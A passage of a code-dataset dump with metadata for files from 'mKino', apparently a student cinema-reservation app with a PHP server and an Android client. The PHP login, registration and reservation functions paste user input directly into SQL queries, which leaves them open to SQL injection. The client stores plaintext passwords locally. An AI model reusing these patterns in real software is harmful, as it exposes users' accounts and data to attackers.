Transakcija($upit);\\r\\n \\r\\n }\\r\\n if($uspjesnost === -6)\\r\\n {\\r\\n $zapis[0] = array(\\\"povratnaInformacijaId\\\" => -6, \\\"povratnaInformacijaTekst\\\" => utf8_encode(\\\"Rezervacija nije uspjela!\\\"));\\r\\n \\r\\n }\\r\\n else\\r\\n {\\r\\n $zapis[0] = array(\\\"povratnaInformacijaId\\\" => $kodRezervacije , \\\"povratnaInformacijaTekst\\\" => utf8_encode(\\\"Rezervacija uspjesna!\\\"));\\r\\n }\\r\\n }\\r\\n else\\r\\n {\\r\\n $zapis[0] = array(\\\"povratnaInformacijaId\\\" => -7, \\\"povratnaInformacijaTekst\\\" => utf8_encode(\\\"Ulaznice u međuvremenu rezervirane!\\\"));\\r\\n } \\r\\n return $zapis;\\r\\n }\\r\\n \\r\\n \\r\\n public static function ObrisiMojuRezervaciju($korisnik, $idProjekcije)\\r\\n {\\r\\n require_once 'DB_connect.php';\\r\\n $upit = \\\"SELECT idKorisnika FROM korisnici WHERE korisnickoIme = '$korisnik'\\\";\\r\\n $idKorisnikaTmp = UpitUBazu($upit);\\r\\n\\t\\t\\t\\t\\t$idKorisnika = $idKorisnikaTmp[0]['idKorisnika'];\\r\\n \\r\\n $upit = \\\"DELETE FROM rezervacije WHERE kod='$idKorisnika-$idProjekcije'\\\";\\r\\n $uspjelo = BrisanjeIzBaze($upit);\\r\\n return $uspjelo;\\r\\n }\\r\\n \\r\\n}\\r\\n?>\"\n },\n {\n \"alpha_fraction\": 0.7423256039619446,\n \"alphanum_fraction\": 0.7423256039619446,\n \"avg_line_length\": 26.289474487304688,\n \"blob_id\": \"a525832e749adc605296d84ebca55b0467a5046a\",\n \"content_id\": \"32cb993002ea188fbed96672f3ee436c441f3b7a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 1078,\n \"license_type\": \"no_license\",\n \"max_line_length\": 199,\n \"num_lines\": 38,\n \"path\": \"/client-side/src/hr/air/mkino/tipovi/MultipleksInfo.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.tipovi;\\r\\n\\r\\n/**\\r\\n * Ova klasa predstavlja tip podataka koji opisuje pojedini multipleks. Između ostalih podataka se nalaze i svi getteri, dok se jednom uneseni podaci (koristeći konstruktor) ne mogu više promijeniti \\r\\n * @author domagoj\\r\\n *\\r\\n */\\r\\npublic class MultipleksInfo {\\r\\n\\tprivate int idMultipleksa;\\r\\n\\tprivate String naziv;\\r\\n\\tprivate String oznaka;\\r\\n\\tprivate float zemljopisnaDuzina;\\r\\n\\tprivate float zemljopisnaSirina;\\r\\n\\t\\r\\n\\tpublic MultipleksInfo(int idMultipleksa, String naziv, String oznaka, float zemljopisnaDuzina, float zemljopisnaSirina) {\\r\\n\\t\\tthis.idMultipleksa = idMultipleksa;\\r\\n\\t\\tthis.naziv = naziv;\\r\\n\\t\\tthis.oznaka = oznaka;\\r\\n\\t\\tthis.zemljopisnaDuzina = zemljopisnaDuzina;\\r\\n\\t\\tthis.zemljopisnaSirina = zemljopisnaSirina;\\r\\n\\t}\\r\\n\\t\\r\\n\\tpublic int getIdMultipleksa() {\\r\\n\\t\\treturn idMultipleksa;\\r\\n\\t}\\r\\n\\tpublic String getNaziv() {\\r\\n\\t\\treturn naziv;\\r\\n\\t}\\r\\n\\tpublic String getOznaka() {\\r\\n\\t\\treturn oznaka;\\r\\n\\t}\\r\\n\\tpublic float getZemljopisnaDuzina() {\\r\\n\\t\\treturn zemljopisnaDuzina;\\r\\n\\t}\\r\\n\\tpublic float getZemljopisnaSirina() {\\r\\n\\t\\treturn zemljopisnaSirina;\\r\\n\\t}\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.678856372833252,\n \"alphanum_fraction\": 0.678856372833252,\n \"avg_line_length\": 17.789474487304688,\n \"blob_id\": \"cdc5d6a9ce5b46bf95afc1116e38f93e30378916\",\n \"content_id\": \"933cccc232d5cc457a6adeb471da6a682c1cba10\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 1504,\n \"license_type\": \"no_license\",\n \"max_line_length\": 122,\n \"num_lines\": 76,\n \"path\": \"/client-side/src/hr/air/mkino/tipovi/ProjekcijaInfo.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"package hr.air.mkino.tipovi;\\r\\n/**\\r\\n * Klasa koja predstavlja slozeni tip podataka o projekcijama.\\r\\n * @author bstivic\\r\\n *\\r\\n */\\r\\npublic class ProjekcijaInfo {\\r\\n\\tprivate int idProjekcije;\\r\\n\\tprivate int dvorana;\\r\\n\\tprivate FilmInfo film;\\r\\n\\tprivate String vrijemePocetka;\\r\\n\\tprivate int multipleks;\\r\\n\\tprivate float cijena;\\r\\n\\t\\r\\n\\tpublic ProjekcijaInfo(int idProjekcije, int dvorana, FilmInfo film, String vrijemePocetka, int multipleks, float cijena){\\r\\n\\t\\tthis.idProjekcije = idProjekcije;\\r\\n\\t\\tthis.dvorana = dvorana;\\r\\n\\t\\tthis.film = film;\\r\\n\\t\\tthis.vrijemePocetka = vrijemePocetka;\\r\\n\\t\\tthis.multipleks = multipleks;\\r\\n\\t\\tthis.cijena = cijena;\\r\\n\\t}\\r\\n\\t\\r\\n\\tpublic float getCijena(){\\r\\n\\t\\treturn cijena;\\r\\n\\t}\\r\\n\\tpublic int getidProjekcije(){\\r\\n\\t\\treturn idProjekcije;\\r\\n\\t}\\r\\n\\tpublic int getDvorana(){\\r\\n\\t\\treturn dvorana;\\r\\n\\t}\\r\\n\\tpublic String getVrijemePocetka()\\r\\n\\t{\\r\\n\\t\\treturn vrijemePocetka;\\r\\n\\t}\\r\\n\\tpublic int getMultipleks(){\\r\\n\\t\\treturn multipleks;\\r\\n\\t}\\r\\n\\t\\r\\n\\tpublic int getIdFilma() {\\r\\n\\t\\treturn film.getIdFilma();\\r\\n\\t}\\r\\n\\r\\n\\tpublic String getNaziv() {\\r\\n\\t\\treturn film.getNaziv();\\r\\n\\t}\\r\\n\\r\\n\\tpublic String getOpis() {\\r\\n\\t\\treturn film.getOpis();\\r\\n\\t}\\r\\n\\r\\n\\tpublic String getRedatelj() {\\r\\n\\t\\treturn film.getRedatelj();\\r\\n\\t}\\r\\n\\r\\n\\tpublic String getGlavneUloge() {\\r\\n\\t\\treturn film.getGlavneUloge();\\r\\n\\t}\\r\\n\\r\\n\\tpublic int getTrajanje() {\\r\\n\\t\\treturn film.getTrajanje();\\r\\n\\t}\\r\\n\\r\\n\\tpublic int getGodina() {\\r\\n\\t\\treturn film.getGodina();\\r\\n\\t}\\r\\n\\r\\n\\tpublic String getZanr() {\\r\\n\\t\\treturn film.getZanr();\\r\\n\\t}\\r\\n\\r\\n\\tpublic int getAktualno() {\\r\\n\\t\\treturn film.getAktualno();\\r\\n\\t}\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.6274632215499878,\n \"alphanum_fraction\": 0.6365342736244202,\n \"avg_line_length\": 40.6533317565918,\n \"blob_id\": \"aec7307c051754666adab1c883143d29455b4a1b\",\n \"content_id\": \"4896a99c30e08f976f3b710045f688dba27607fc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"PHP\",\n \"length_bytes\": 3208,\n \"license_type\": \"no_license\",\n \"max_line_length\": 231,\n \"num_lines\": 75,\n \"path\": \"/server-side/Datoteke/skripte/korisnici.php\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"<?php\\r\\n\\tclass Korisnici\\r\\n\\t{\\r\\n\\t\\tpublic static function PrijaviSe($korisnickoIme, $lozinka)\\r\\n\\t\\t{\\r\\n\\t\\t\\trequire_once 'DB_connect.php';\\r\\n\\t\\t\\t$upit = \\\"SELECT * FROM korisnici WHERE korisnickoIme = '$korisnickoIme'\\\";\\r\\n\\t\\t\\t$korisnik = UpitUBazu($upit);\\r\\n\\t\\t\\tif (isset($korisnik[0]['povratnaInformacijaId']))\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\treturn array(array('povratnaInformacijaId' => 2, 'povratnaInformacijaTekst' => utf8_encode('Nepostojeći korisnik')));\\r\\n\\t\\t\\t} else\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\t$lozinkaHash = hash('sha512', $lozinka . $korisnik[0]['salt']);\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t$upit = \\\"SELECT idKorisnika, korisnickoIme, ime, prezime, email, telefon FROM korisnici WHERE korisnickoIme = '$korisnickoIme' AND lozinka = '$lozinkaHash'\\\";\\r\\n\\t\\t\\t$korisnik = UpitUBazu($upit);\\r\\n\\t\\t\\tif (isset($korisnik[0]['povratnaInformacijaId']))\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\treturn array(array('povratnaInformacijaId' => 3, 'povratnaInformacijaTekst' => utf8_encode('Pogrešna lozinka')));\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\treturn $korisnik;\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\tpublic static function RegistrirajSe($podaci)\\r\\n\\t\\t{\\r\\n\\t\\t\\trequire_once 'DB_connect.php';\\r\\n\\t\\t\\t// provjeravamo postoji li korisničko ime već u bazi\\r\\n\\t\\t\\t$upit = \\\"SELECT * FROM korisnici WHERE korisnickoIme = '\\\" . $podaci['korisnickoIme'] . \\\"'\\\";\\r\\n\\t\\t\\t$korisnik = UpitUBazu($upit);\\r\\n\\t\\t\\tif (isset($korisnik[0]['korisnickoIme']))\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\treturn array(array('povratnaInformacijaId' => 4, 'povratnaInformacijaTekst' => utf8_encode('Korisnik već postoji'))); \\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t// provjeravamo postoji li email već u bazi\\r\\n\\t\\t\\t$upit = \\\"SELECT * FROM korisnici WHERE email = '\\\" . $podaci['email'] . \\\"'\\\";\\r\\n\\t\\t\\t$korisnik = UpitUBazu($upit);\\r\\n\\t\\t\\tif (isset($korisnik[0]['email']))\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\treturn array(array('povratnaInformacijaId' => 5, 'povratnaInformacijaTekst' => utf8_encode('Email adresa već postoji'))); \\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t// provjeravamo postoji li telefon već u bazi\\r\\n\\t\\t\\t$upit = \\\"SELECT * FROM korisnici WHERE telefon = '\\\" . $podaci['telefon'] . \\\"'\\\";\\r\\n\\t\\t\\t$korisnik = UpitUBazu($upit);\\r\\n\\t\\t\\tif (isset($korisnik[0]['telefon']))\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\treturn array(array('povratnaInformacijaId' => 6, 'povratnaInformacijaTekst' => utf8_encode('Taj telefonski broj već postoji'))); \\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t// ako se nije dogodio nikakav konflikt, dodajemo korisnika u bazu\\r\\n\\t\\t\\t$upit = \\\"INSERT INTO korisnici VALUES (DEFAULT, '\\\".$podaci['korisnickoIme'].\\\"', '\\\".$podaci['lozinka'].\\\"', '\\\".$podaci['salt'].\\\"', '\\\".$podaci['ime'].\\\"', '\\\".$podaci['prezime'].\\\"', '\\\".$podaci['email'].\\\"', '\\\".$podaci['telefon'].\\\"')\\\";\\r\\n\\t\\t\\t$uspjeh = Upit($upit);\\r\\n\\t\\t\\t\\r\\n\\t\\t\\tif ($uspjeh)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\t// pronalazimo id trenutno unesenog korisnika\\r\\n\\t\\t\\t\\t$upit2 = \\\"SELECT idKorisnika from korisnici WHERE korisnickoIme = '\\\" . $podaci['korisnickoIme'] . \\\"'\\\";\\r\\n\\t\\t\\t\\t$id = UpitUBazu($upit2);\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t// unosimo jednu praznu rezervaciju\\r\\n\\t\\t\\t\\t$idk = $id[0]['idKorisnika'];\\r\\n\\t\\t\\t\\t$upit3 = \\\"INSERT INTO rezervacije (projekcija, korisnik, brojSjedala, kod) VALUES ($idk, $idk, $idk, '$idk-0')\\\";\\r\\n\\t\\t\\t\\tUpit($upit3);\\r\\n\\t\\t\\t\\treturn array(array('povratnaInformacijaId' => 0, 'povratnaInformacijaTekst' => utf8_encode('Korisnik uspješno dodan'))); \\r\\n\\t\\t\\t} else\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\treturn array(array('povratnaInformacijaId' => 7, 'povratnaInformacijaTekst' => utf8_encode('Korisnika nije bilo moguće dodati u bazu. Razlog nepoznat'))); \\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t}\\r\\n?>\"\n },\n {\n \"alpha_fraction\": 0.6949654221534729,\n \"alphanum_fraction\": 0.6957058310508728,\n \"avg_line_length\": 33.85840606689453,\n \"blob_id\": \"ca7b1579edf2af32971bb5a680face7ab75c167f\",\n \"content_id\": \"2aa197343f48ddf0b5c49ac62eaa9a3bdbfbb3c9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 4063,\n \"license_type\": \"no_license\",\n \"max_line_length\": 118,\n \"num_lines\": 113,\n \"path\": \"/client-side/src/hr/air/mkino/core/Prijava.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.core;\\r\\n\\r\\nimport android.app.Dialog;\\r\\nimport android.content.Context;\\r\\nimport android.view.View;\\r\\nimport android.view.Window;\\r\\nimport android.view.View.OnClickListener;\\r\\nimport android.widget.Button;\\r\\nimport android.widget.EditText;\\r\\nimport android.widget.Toast;\\r\\nimport hr.air.mkino.R;\\r\\nimport hr.air.mkino.baza.PrijavljeniKorisnikAdapter;\\r\\nimport hr.air.mkino.server.JsonPrijava;\\r\\nimport hr.air.mkino.tipovi.Korisnik;\\r\\n\\r\\n/**klasa poslovne logike koja služi za prikaz dijaloga prijave i izvršavanje prijave*/\\r\\npublic class Prijava {\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Metoda koja prikazuje dijalog za prijavu u aplikaciju\\r\\n\\t * @param aktivni Context\\r\\n\\t * */\\r\\n\\tpublic void prikaziDijalog(final Context context) {\\r\\n\\t\\t\\tfinal Dialog dialogPrijava = new Dialog(context);\\r\\n\\t\\t\\tdialogPrijava.requestWindowFeature(Window.FEATURE_NO_TITLE);\\r\\n\\t\\t\\tdialogPrijava.setContentView(R.layout.dialog_prijava);\\t\\t\\t\\r\\n\\t\\t\\tdialogPrijava.show();\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t/*dohvaćanje unešenih podataka*/\\t\\t\\t\\r\\n\\t\\t\\tButton btnPrijaviSe = (Button)dialogPrijava.findViewById(R.id.dialog_prijava_btnPrijaviSe);\\r\\n\\t\\t\\tButton btnOdustani = (Button) dialogPrijava.findViewById(R.id.dijalog_prijava_btnOdustani);\\r\\n\\t\\t\\tButton btnRegistracija = (Button)dialogPrijava.findViewById(R.id.prijava_btnRegistrirajSe);\\r\\n\\t\\t\\t\\r\\n\\t\\t\\tfinal EditText txtKorisnickoIme = (EditText) dialogPrijava.findViewById(R.id.dialog_registracija_txtKorisnickoIme);\\r\\n\\t\\t\\tfinal EditText txLozinka = (EditText)dialogPrijava.findViewById(R.id.dialog_registracija_txtLozinka);\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t/*odustani od prijave*/\\r\\n\\t\\t\\tbtnOdustani.setOnClickListener(new OnClickListener() {\\r\\n\\t\\t\\t\\t\\t@Override\\r\\n\\t\\t\\t\\t\\tpublic void onClick(View v) {\\r\\n\\t\\t\\t\\t\\t\\tdialogPrijava.dismiss();\\r\\n\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t});\\r\\n\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t/*klik na prijavu*/\\r\\n\\t\\t\\tbtnPrijaviSe.setOnClickListener(new OnClickListener() {\\r\\n\\r\\n\\t\\t\\t\\t@Override\\r\\n\\t\\t\\t\\tpublic void onClick(View v) {\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\tString tKorisnickoIme= txtKorisnickoIme.getText().toString();\\r\\n\\t\\t\\t\\t\\tString tLozinka = txLozinka.getText().toString();\\r\\n\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t/*validacija na klijentskoj strani*/\\r\\n\\t\\t\\t\\t\\tif(tKorisnickoIme == null || tKorisnickoIme.length() ==0)\\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Unesite korisničko ime\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\telse if(tLozinka == null || tLozinka.length() ==0)\\r\\n\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Unesite lozinku\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\telse{\\r\\n\\t\\t\\t\\t\\t\\tJsonPrijava novaPrijava = new JsonPrijava();\\r\\n\\t\\t\\t\\t\\t\\t/*instanciranje objekta Korisnik koji ce sluziti za prijavu*/\\r\\n\\t\\t\\t\\t\\t\\tKorisnik prijava = novaPrijava.prijavi(tKorisnickoIme, tLozinka);\\r\\n\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\t/*uspješna prijava*/\\r\\n\\t\\t\\t\\t\\t\\tif(prijava != null)\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Uspješno ste prijavljeni!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\t\\tPrijavljeniKorisnikAdapter prijavljeniKorisnikAdapter = new PrijavljeniKorisnikAdapter(context);\\r\\n\\t\\t\\t\\t\\t\\t\\tif(prijavljeniKorisnikAdapter.pohraniKorisnickePodatke(tKorisnickoIme, tLozinka) > \\t0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"zapamtio u bazu\\\", Toast.LENGTH_SHORT);\\r\\n\\t\\t\\t\\t\\t\\t\\tdialogPrijava.dismiss();\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t/*neuspješna prijava*/\\r\\n\\t\\t\\t\\t\\t\\t\\tToast.makeText(context, \\\"Neuspješna prijava!\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t}\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t});\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t/*klik na registraciju koji otvara dijalog za registraciju korisnika*/\\r\\n\\t\\t\\tbtnRegistracija.setOnClickListener(new OnClickListener() {\\r\\n\\r\\n\\t\\t\\t\\t@Override\\r\\n\\t\\t\\t\\tpublic void onClick(View v) {\\r\\n\\t\\t\\t\\t\\t/*zatvaramo dijalog za prijavu*/\\r\\n\\t\\t\\t\\t\\tdialogPrijava.dismiss();\\r\\n\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t/*prikazujemo dijalog za registraciju*/\\r\\n\\t\\t\\t\\t\\tRegistracija registracije = new Registracija();\\r\\n\\t\\t\\t\\t\\tregistracije.prikaziDijalog(context);\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t}\\t\\t\\t\\t\\r\\n\\t\\t\\t});\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t\\r\\n\\t\\t}\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Metoda koja odjavljuje korisnika iz aplikacije\\r\\n\\t * @param trenutni Context\\r\\n\\t * */\\r\\n\\tpublic void odjava(Context context)\\r\\n\\t{\\r\\n\\t\\tPrijavljeniKorisnikAdapter prijavljeniKorisnik = new PrijavljeniKorisnikAdapter(context);\\r\\n\\t\\t/*brišemo prijavljenog korisnika iz lokalne baze podataka*/\\r\\n\\t\\tprijavljeniKorisnik.obrisiPrijavljenogKorisnika();\\r\\n\\t\\tToast.makeText(context, \\\"Uspješno ste se odjavili\\\", Toast.LENGTH_SHORT).show();\\r\\n\\t}\\r\\n\\t\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.6925264000892639,\n \"alphanum_fraction\": 0.6949634552001953,\n \"avg_line_length\": 26.79532241821289,\n \"blob_id\": \"3dddd9fc5e3022338a5f6bf2c8d790f93adabafe\",\n \"content_id\": \"35394b063b1dee6e5e67417572c75f9de34f0959\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 4941,\n \"license_type\": \"no_license\",\n \"max_line_length\": 146,\n \"num_lines\": 171,\n \"path\": \"/client-side/src/hr/air/mkino/server/SlikaSaServera.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.server;\\r\\n\\r\\nimport hr.air.mkino.sucelja.ISlikaFilma;\\r\\n\\r\\nimport java.io.File;\\r\\nimport java.io.FileNotFoundException;\\r\\nimport java.io.FileOutputStream;\\r\\nimport java.io.IOException;\\r\\nimport java.io.InputStream;\\r\\nimport java.net.HttpURLConnection;\\r\\nimport java.net.MalformedURLException;\\r\\nimport java.net.URL;\\r\\nimport java.util.concurrent.ExecutionException;\\r\\n\\r\\nimport android.content.Context;\\r\\nimport android.graphics.Bitmap;\\r\\nimport android.graphics.BitmapFactory;\\r\\nimport android.os.AsyncTask;\\r\\nimport android.os.Environment;\\r\\nimport android.util.DisplayMetrics;\\r\\n\\r\\n/**\\r\\n * Služi za dohvaćanje slike filma sa servera.\\r\\n * U konstruktoru prima identifikacijsku oznaku filma, koju onda poslije koristi u metodama za dohvat slike.\\r\\n * @author domagoj\\r\\n *\\r\\n */\\r\\npublic class SlikaSaServera extends AsyncTask<String, Void, Bitmap> implements ISlikaFilma {\\r\\n\\tprivate Context context;\\r\\n\\tprivate int idFilma;\\r\\n\\t\\r\\n\\tpublic SlikaSaServera(Context context, int idFilma) {\\r\\n\\t\\tthis.context = context;\\r\\n\\t\\tthis.idFilma = idFilma;\\r\\n\\t}\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Dohvaća sliku filma u velikom formatu\\r\\n\\t * @return Bitmap objekt slike\\r\\n\\t */\\r\\n\\tpublic Bitmap dohvatiVelikuSliku()\\r\\n\\t{\\r\\n\\t\\tString url = \\\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=slike&id=\\\" + idFilma;\\r\\n\\t\\tthis.execute(url);\\r\\n\\t\\tBitmap slika = null;\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tslika = this.get();\\r\\n\\t\\t} catch (InterruptedException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t} catch (ExecutionException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\tpohraniSlikuNaSD(slika, true);\\r\\n\\t\\treturn slika;\\r\\n\\t}\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Dohvaća sliku filma u malom formatu\\r\\n\\t * @return Bitmap objekt slike\\r\\n\\t */\\r\\n\\tpublic Bitmap dohvatiMaluSliku()\\r\\n\\t{\\r\\n\\t\\tString url = \\\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=slikemale&id=\\\" + idFilma;\\r\\n\\t\\tthis.execute(url);\\r\\n\\t\\tBitmap slika = null;\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tslika = promijeniVelicinuMaleSlike(this.get());\\r\\n\\t\\t} catch (InterruptedException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t} catch (ExecutionException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\tpohraniSlikuNaSD(slika, false);\\r\\n\\t\\treturn slika;\\r\\n\\t}\\r\\n\\t\\r\\n\\r\\n\\t/**\\r\\n\\t * Nakon što se slika preuzme s interneta, potrebno ju je pohraniti na SD karticu u svrhu cachiranja\\r\\n\\t * @param slika koju treba pohraniti\\r\\n\\t * @param velikaSlika radi li se o velikoj slici ili maloj (sa ListView-a)\\r\\n\\t */\\r\\n\\tprivate void pohraniSlikuNaSD(Bitmap slika, boolean velikaSlika) {\\r\\n\\t\\tString putanjaDoSlike;\\r\\n\\t\\tString sdKartica = Environment.getExternalStorageDirectory().getPath();\\r\\n\\t\\t\\r\\n\\t\\tif (velikaSlika)\\r\\n\\t\\t{\\r\\n\\t\\t\\tputanjaDoSlike = sdKartica + \\\"/mKino/\\\" + idFilma + \\\".jpg\\\";\\r\\n\\t\\t} else\\r\\n\\t\\t{\\r\\n\\t\\t\\tputanjaDoSlike = sdKartica + \\\"/mKino/\\\" + idFilma + \\\"_mala.jpg\\\";\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\t// najprije napravimo direktorij \\\"mKino\\\" na SD kartici (ukoliko taj direktorij ne postoji)\\r\\n\\t\\tFile direktorij = new File(sdKartica + \\\"/mkino\\\");\\r\\n\\t\\tif (!direktorij.exists())\\r\\n\\t\\t{\\r\\n\\t\\t\\tdirektorij.mkdir();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\t// nakon što znamo da direktorij \\\"mKino\\\" postoji na SD kartici, čuvamo podatke na njoj\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tFileOutputStream tok = new FileOutputStream(putanjaDoSlike);\\r\\n\\t\\t\\tslika.compress(Bitmap.CompressFormat.JPEG, 90, tok);\\r\\n\\t\\t\\ttok.close();\\r\\n\\t\\t} catch (FileNotFoundException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t} catch (IOException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\r\\n\\t/**\\r\\n\\t * Ova metoda mijenja veličinu malih slika. Veličinu preuzetih slika je potrebno promijeniti kako bi prikazane slike zauzimale što manje memorije\\r\\n\\t * @param velika slika\\r\\n\\t * @return mala slika ili originalna ukoliko nije potrebno mijenjati veličinu\\r\\n\\t */\\r\\n\\tprivate Bitmap promijeniVelicinuMaleSlike(Bitmap slika) {\\r\\n\\t\\tint sirinaVisina = 0;\\r\\n\\t\\t\\r\\n\\t\\t// provjeravamo je li razlučivost xhdpi, hdpi, mdpi ili ldpi\\r\\n\\t\\tswitch(context.getResources().getDisplayMetrics().densityDpi)\\r\\n\\t\\t{\\r\\n\\t\\t\\tcase DisplayMetrics.DENSITY_LOW:\\r\\n\\t\\t\\t\\tsirinaVisina = 60; break;\\r\\n\\t\\t\\tcase DisplayMetrics.DENSITY_MEDIUM:\\r\\n\\t\\t\\t\\tsirinaVisina = 80; break;\\r\\n\\t\\t\\tcase DisplayMetrics.DENSITY_HIGH:\\r\\n\\t\\t\\t\\tsirinaVisina = 120; break;\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\t// ako se širina(visina) slike nije promijenila, a to je u slučaju kada je telefon xhdpi ili xxhdpi, tada ju nećemo ni resize-ati,\\r\\n\\t\\t// nego ćemo vratiti staru vrijednost slike (else). U suprotnom ćemo vratiti resize-anu vrijednost\\r\\n\\t\\tif (sirinaVisina != 0)\\r\\n\\t\\t{\\r\\n\\t\\t\\tBitmap novaSlika = Bitmap.createScaledBitmap(slika, sirinaVisina, sirinaVisina, false);\\r\\n\\t\\t\\treturn novaSlika;\\r\\n\\t\\t} else\\r\\n\\t\\t{\\r\\n\\t\\t\\treturn slika;\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\r\\n\\t@Override\\r\\n\\tprotected Bitmap doInBackground(String... parametri) {\\r\\n\\t\\tString urlString = parametri[0];\\r\\n\\t\\tURL url;\\r\\n\\t\\tHttpURLConnection veza;\\r\\n\\t\\tBitmap slika = null;\\r\\n\\t\\t\\r\\n\\t\\ttry {\\r\\n\\t\\t\\turl = new URL(urlString);\\r\\n\\t\\t\\tveza = (HttpURLConnection) url.openConnection();\\r\\n\\t\\t\\tveza.setDoInput(true);\\r\\n\\t\\t\\tveza.connect();\\r\\n\\t\\t\\tInputStream tok = veza.getInputStream();\\r\\n\\t\\t\\tslika = BitmapFactory.decodeStream(tok);\\r\\n\\t\\t\\tveza.disconnect();\\r\\n\\t\\t} catch (MalformedURLException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t} catch (IOException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\treturn slika;\\r\\n\\t}\\r\\n\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.7036688327789307,\n \"alphanum_fraction\": 0.7036688327789307,\n \"avg_line_length\": 25.973684310913086,\n \"blob_id\": \"cfc7a86f0a99fd5b110d0d3fbf0b94f54ad50fa9\",\n \"content_id\": \"4751ee4b797152d38b5ac143a070e507e22a432c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 1070,\n \"license_type\": 